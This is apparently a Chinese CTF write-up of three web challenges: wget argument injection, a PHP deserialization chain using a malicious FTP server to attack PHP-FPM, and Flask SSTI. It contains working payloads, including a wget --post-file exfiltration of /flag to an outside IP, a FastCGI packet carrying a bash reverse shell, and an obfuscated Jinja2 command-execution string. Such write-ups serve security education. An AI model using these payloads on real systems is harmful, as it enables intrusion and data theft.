0%

陇原战疫2021网络安全大赛

# 前言

两道web PHP-FPM+FTP+反序列化

CheckIn

给了源码 go的网站,看源码找到利用点,从第二个参数开始当作wget 参数

看一下路由:

Payload:
wget –post-file=/etc/passwd http://ip:port

/wget?argv=1&argv=–post-file&argv=/flag&argv=http://1.116.110.61:2333/

eaaasyphp

<?php

class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}


class Hint {

public function __wakeup(){
$this->hint = "no hint";
}

public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}


class Bunny {

public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {

public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}

if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}

以为是简单的写shell,然后发现没有写入的权限

先看一下phpinfo的信息

Payload:

?code=O:4:"Hint":-1:{}

绕过__wakeup,按网上说PHP7 < 7.0.10当反序列化时变量个数与实际不符是会绕过 但是这道题目版本是7.2 将0修改为其他整数时是绕过失败的,但是改为负数即可绕过

写shell失败,结合file_put_contents 可以尝试利用 ftp的被动模式来攻击fpm

思路
如果目标主机上正在运行着 PHP-FPM,并且有一个 file_put_contents() 函数的参数是可控的,我们上面是利用了gopher:// 协议,但是 file_put_contents()函数并不支持他,这里可以使用的是 ftp协议

这里使用的是 FTP 协议的被动模式:客户端试图从FTP服务器上读取/写入一个文件,服务器会通知客户端将文件的内容读取到一个指定的IP和端口上,我们可以指定到127.0.0.1:9000,这样就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF

Fpm的利用分析
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌 (leavesongs.com)

ftp的两种模式
重新学习FTP与php-FPM的RCE - 安全客,安全资讯平台 (anquanke.com)

ftp打内网:
如何用 FTP 被动模式打穿内网 (suphp.cn)

通过一道CTF题学习php-fpm攻击_白帽子技术/思路_i春秋社区-分享你的技术

浅析php-fpm的攻击方式 - 先知社区

PHP-FPM 漏洞利用笔记 - H0t-A1r-B4llo0n

解题:
1.搭建恶意ftp服务器

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 123)) #123端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

2.利用gopher生成向fpm发送的数据包:
bash一句话到2333端口

截取 _ 后面的内容

3.填充到poc中

<?php

class Check {
public static $str1 = false;
public static $str2 = false;
}

class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}



class Bunny {

public function __toString()
{
if (Check::$str2) {
//echo "tostring";
if(!$this->data){
$this->data = $_REQUEST['data'];
}
//file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {

public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}

$a = new Esle(); //str1 = true
$a->tmp = new Bypass();
$a->tmp->str4 = new Welcome(); //str2 = true;
$a->tmp->str4->username = new Bunny();
$a->tmp->str4->username->filename = 'ftp://aaa@1.116.110.61:123/123';
$a->tmp->str4->username->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/1.116.110.61/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
echo urlencode(serialize($a));

ftp格式:

ftp://aaa@1.116.110.61:123/123

code参数传过去 getshell

MagicMail

  • flask SSTI

Python开启smtp服务

设置smtp服务

测试ssti


Base64解码:

payload:

以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用

{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20/flag")|attr("read")()}}